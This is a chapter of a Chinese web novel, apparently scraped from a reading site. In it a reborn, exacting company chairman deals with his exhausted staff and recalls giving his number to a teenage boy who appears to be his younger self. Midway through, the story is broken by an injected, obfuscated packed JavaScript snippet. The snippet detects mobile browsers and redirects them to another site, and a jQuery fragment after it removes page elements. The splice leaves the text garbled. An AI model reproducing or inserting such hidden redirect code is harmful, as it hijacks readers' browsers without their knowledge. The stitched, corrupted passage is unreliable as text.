到了下午,大家学着小资情调,点个下午茶喝杯咖啡,再见缝插针工作一小时,然后美美肩披着暮色回家去。 现在一切都变了。 员工们渐渐长出了黑眼圈,笑容里多出了一分平静祥和的死感。 “我昨天晚上,竟然只睡了六个小时,哈哈哈。” “哈哈哈,我昨天,在下班路上看到了月亮诶。” “你们的声音怎么都虚虚的,我们要积极向上呀,哈哈哈哈。” “我们今天还叫下午茶吗?” “不叫了,这周边有没有什么好的养生炖盅...” “你们知道哪里有按摩馆吗,我感觉腰酸背痛,头像被人用锤子打了。” “刚才,我们办公室的头儿因为不会用Excel,加上用两根手指打字,被贺董训了。” “其实...我很想尝尝被贺董骂的滋味,你们难道不觉得吗?他长得好帅...” “等他说要裁掉你,你就老实了。” “贺董简直就是魔鬼,呜呜呜。” “老板说我们只要坚持一段时间,就会适应了。” “我们这样下去,不会死吧...” 放心,不会死的。 作为有宝贵过劳猝死经验的老板,贺知叙知道如何拿捏这个度。 既能保证最大限度的努力工作,又能保证活着。 这就是运筹帷幄。 贺知叙唯一的烦恼就是,他这辈子顶着这张脸,似乎没有之前的有威慑力。 很多时候他开会时严厉说话,员工却情不自禁地脸红,还会扯闲篇儿。 “公司不养游手好闲的人。”贺知叙冷声说,“开会的时候,不要用无关的事情打断——” 他放在桌上的手机屏幕忽然亮了起来。 来电显示是陌生号码。 贺知叙停顿了五秒,还是将它拿起,说了句“抱歉”,起身离开会议桌,去窗边接电话。 他有意走得很远,怎奈群众的耳朵太尖,还是听见了只言片语。 刚才在会议桌上还凶得像魔鬼似的贺董,此刻却好像把声音放轻了许多。 尽管语调还是冷清,但听上去...可比面对他们时要耐心温和多了。 “我不是说过,我不会接你上课时间打来的电话。” “……运动会?” “我还在工作。” 电话很快就挂断了。 贺知叙面无表情地走回来,刚坐下,就有员工憋不住好奇,主动问他:“贺董,刚才是您小孩来的电话?” 在座的基本都有了孩子,有的还不止一个,想借这个话题和老板套套近乎。 “不是。”贺知叙却否认,“只是恶作剧电话。” 他示意下一个人做数据汇报,人却一心二用,回想着刚才那通无聊的电话。 陆洄这家伙,有事没事就给他打电话,打一次总要花个一块两块的,显然是现在经济上不愁吃穿了,都不知道心疼电话费。 早知道,就不把手机号码留给他了。 两周前的周五傍晚,他们在露天球场外的路边分别。 还是陆洄主动开了口,问他:“贺叔叔,我们之后...还能再见面吗?” 贺知叙注视着眼前的少年,从来不知道,小时候的自己能露出这种局促又忸怩的表情。 黄昏橘红的光拢着他们,微风就像一双手托着陆洄的脸,把这枚新鲜完好的红苹果呈到他眼前。 “我有很多事情要忙。”贺知叙说,他当下实在想不出,他们见面可以做些什么。 再说,他先前明明自作决定,自己不会再和陆洄见面了。 但陆洄没放弃,又问:“那我能给你打电话吗?” 贺知叙愣了愣,到这个份上,他自然不好再拒绝,于是微微点头。 “你报号码,我听一遍就能记住。”陆洄说。 贺知叙有意无视他的得意,用比平时说话要快的语速报了号码。 “记住了。”陆洄比了个OK的手势。 “等会。”贺知叙却说,“我弄错了,刚才的号码已经没有再用了。” 他竟然下意识报了上辈子用过的号码,至于现在的...贺知叙拿出钱包,从里面取出了一张烫金的名片。 陆洄接过,第一次摸到质感这么好的纸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486009|202010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “打这个号码吧。”贺知叙补充说,“在你觉得有必要的时候。” “谢谢贺叔叔。”陆洄拿着名片,嘴角有一点点上扬的迹象,都忘记追究贺知叙跟踪他的事了,“那我走啦。” 他高兴地摆摆手,刚转身走出两步,又被贺知叙喊住。 “干嘛?”陆洄回头的表情很拽,双手插兜,配合那头黄毛,简直像电影里的古惑仔。 当然,是少年版。 “我开车送你回去。”贺知叙实在不能接受,对方不戴头盔骑那个破机车,闯周五傍晚的交通高峰时段。 他都怕来个车把陆洄直接创飞,然后就不是双腿瘫痪这么简单了。 这回可能是脑瘫。 幸好,陆洄没抗拒,可能是因为没坐过小汽车,老老实实坐上了贺知叙的副驾。 “安全带。”贺知叙启动前提醒。 “我知道。”陆洄快速拽过安全带,假装自己不是第一次干这个。 银色捷达顺利地驶入黄昏的街道,贺知叙全副心神都放在驾驶上,没有出任何差错,把人送到了温暖之家门口。 有不少小孩闹哄哄地跑出来看这辆崭新的小汽车,看见车上坐着贺叔叔,很是欣喜,但看见旁边坐着陆洄,又瞬间不敢吱声了。 “好了,回去吧。”贺知叙说,“夜里不要再往外跑了。” 陆洄皱皱眉,“嗯”了一声,伸手拔安全带。 他用了很大力气,却没拔出来。 贺知叙大手伸过去,屈指为他轻轻一按,安全带就轻易地弹了出来。 陆洄耳朵再次变红,有些生硬地别开了视线,先前打球的那种得意劲儿全消失不见了。 贺知叙想了想,在他下车之前,还是对他说:“你的身手确实很灵巧。” “?”陆洄转头盯着他,第一反应是“你居然嘲讽我不会解安全带”。 贺知叙轻轻摇头,平静地说:“我认为,你完全可以利用你灵活的双手,去做真正有意义的事情。” 而不是用在偷窃,耍小聪明,搞歪门邪道上面。 陆洄微微眯缝起双眼,低声问:“比如说?” 贺知叙回想上辈子用手干过的那些“有意义”的事,第一个想到的竟然是:“种多肉植物。” 他在窗台上养了很多,每一盆都圆鼓鼓肥嘟嘟的,让他看了心里很满意,比项目赚了大钱都有成就感。 少年的陆洄不理解:“?” 感到被糊弄,他含了口气,腮帮子鼓起来一点点,找不到别的话可说,最终拉开车门就走了。